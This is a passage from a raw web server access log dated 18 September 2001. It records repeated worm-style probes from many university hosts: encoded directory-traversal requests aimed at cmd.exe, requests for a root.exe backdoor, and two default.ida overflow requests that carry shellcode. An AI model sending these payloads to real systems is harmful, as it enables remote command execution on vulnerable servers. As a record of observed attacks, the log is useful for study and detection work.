  2395. 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2396. 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2397. 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2398. 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2399. 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2400. 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2401. 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2402. 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2403. 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2404. 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2405. 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2406. 20010918 10:53:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  2407. 20010918 11:00:19: mgpc3.as.arizona.edu [128.196.248.35] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2408. 20010918 11:01:45: mgpc3.as.arizona.edu [128.196.248.35] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2409. 20010918 11:01:46: mgpc3.as.arizona.edu [128.196.248.35] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2410. 20010918 11:01:46: mgpc3.as.arizona.edu [128.196.248.35] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2411. 20010918 11:01:47: mgpc3.as.arizona.edu [128.196.248.35] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2412. 20010918 11:01:47: mgpc3.as.arizona.edu [128.196.248.35] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2413. 20010918 11:01:47: mgpc3.as.arizona.edu [128.196.248.35] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2414. 20010918 11:01:48: mgpc3.as.arizona.edu [128.196.248.35] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2415. 20010918 11:01:48: mgpc3.as.arizona.edu [128.196.248.35] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2416. 20010918 11:01:48: mgpc3.as.arizona.edu [128.196.248.35] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2417. 20010918 11:01:48: mgpc3.as.arizona.edu [128.196.248.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2418. 20010918 11:01:49: mgpc3.as.arizona.edu [128.196.248.35] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2419. 20010918 11:01:49: mgpc3.as.arizona.edu [128.196.248.35] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2420. 20010918 11:01:49: mgpc3.as.arizona.edu [128.196.248.35] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2421. 20010918 11:01:50: mgpc3.as.arizona.edu [128.196.248.35] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2422. 20010918 11:01:50: mgpc3.as.arizona.edu [128.196.248.35] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2423. 20010918 11:01:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2424. 20010918 11:02:29: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2425. 20010918 11:02:29: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2426. 20010918 11:02:29: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2427. 20010918 11:02:29: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2428. 20010918 11:02:29: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2429. 20010918 11:02:29: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2430. 20010918 11:02:29: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2431. 20010918 11:02:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2432. 20010918 11:02:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2433. 20010918 11:02:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2434. 20010918 11:02:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2435. 20010918 11:02:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2436. 20010918 11:02:33: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2437. 20010918 11:02:33: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2438. 20010918 11:02:33: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2439. 20010918 11:02:33: LAW-PC150.BU.EDU [128.197.170.226] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2440. 20010918 11:03:35: LAW-PC150.BU.EDU [128.197.170.226] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2441. 20010918 11:03:35: LAW-PC150.BU.EDU [128.197.170.226] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2442. 20010918 11:03:35: LAW-PC150.BU.EDU [128.197.170.226] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2443. 20010918 11:03:35: LAW-PC150.BU.EDU [128.197.170.226] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2444. 20010918 11:03:36: LAW-PC150.BU.EDU [128.197.170.226] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2445. 20010918 11:03:36: LAW-PC150.BU.EDU [128.197.170.226] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2446. 20010918 11:03:36: LAW-PC150.BU.EDU [128.197.170.226] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2447. 20010918 11:03:36: LAW-PC150.BU.EDU [128.197.170.226] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2448. 20010918 11:03:36: LAW-PC150.BU.EDU [128.197.170.226] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2449. 20010918 11:03:37: LAW-PC150.BU.EDU [128.197.170.226] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2450. 20010918 11:03:37: LAW-PC150.BU.EDU [128.197.170.226] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2451. 20010918 11:03:37: LAW-PC150.BU.EDU [128.197.170.226] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2452. 20010918 11:03:37: LAW-PC150.BU.EDU [128.197.170.226] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2453. 20010918 11:03:37: LAW-PC150.BU.EDU [128.197.170.226] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2454. 20010918 11:03:37: LAW-PC150.BU.EDU [128.197.170.226] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2455. 20010918 11:03:37: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2456. 20010918 11:05:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2457. 20010918 11:05:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2458. 20010918 11:05:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2459. 20010918 11:05:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2460. 20010918 11:05:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2461. 20010918 11:05:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2462. 20010918 11:05:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2463. 20010918 11:05:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2464. 20010918 11:05:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2465. 20010918 11:05:40: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2466. 20010918 11:05:40: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2467. 20010918 11:05:40: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2468. 20010918 11:05:40: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2469. 20010918 11:05:40: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2470. 20010918 11:05:40: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2471. 20010918 11:05:40: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2472. 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2473. 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2474. 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2475. 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2476. 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2477. 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2478. 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2479. 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2480. 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2481. 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2482. 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2483. 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2484. 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2485. 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2486. 20010918 11:06:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2487. 20010918 11:06:06: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2488. 20010918 11:06:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2489. 20010918 11:06:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2490. 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2491. 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2492. 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2493. 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2494. 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2495. 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2496. 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2497. 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2498. 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2499. 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2500. 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2501. 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2502. 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2503. 20010918 11:06:49:  [213.214.81.254] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2504. 20010918 11:12:37: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2505. 20010918 11:15:01: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2506. 20010918 11:15:05: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2507. 20010918 11:15:08: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2508. 20010918 11:15:11: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2509. 20010918 11:15:16: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2510. 20010918 11:15:20: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2511. 20010918 11:16:47: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2512. 20010918 11:16:47: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2513. 20010918 11:16:47: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2514. 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2515. 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2516. 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2517. 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2518. 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2519. 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2520. 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2521. 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2522. 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2523. 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2524. 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2525. 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2526. 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2527. 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2528. 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2529. 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2530. 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2531. 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2532. 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2533. 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2534. 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2535. 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2536. 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2537. 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2538. 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2539. 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2540. 20010918 11:16:50: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2541. 20010918 11:16:50: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2542. 20010918 11:16:50: dialup-cc3-82.cc.columbia.edu [128.59.42.187] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  2543. 20010918 11:18:51: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2544. 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2545. 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2546. 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2547. 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2548. 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2549. 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2550. 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2551. 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2552. 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2553. 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2554. 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2555. 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2556. 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2557. 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2558. 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2559. 20010918 11:21:11: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2560. 20010918 11:21:19: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2561. 20010918 11:21:20: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2562. 20010918 11:21:20: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2563. 20010918 11:21:20: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2564. 20010918 11:21:21: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2565. 20010918 11:21:21: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
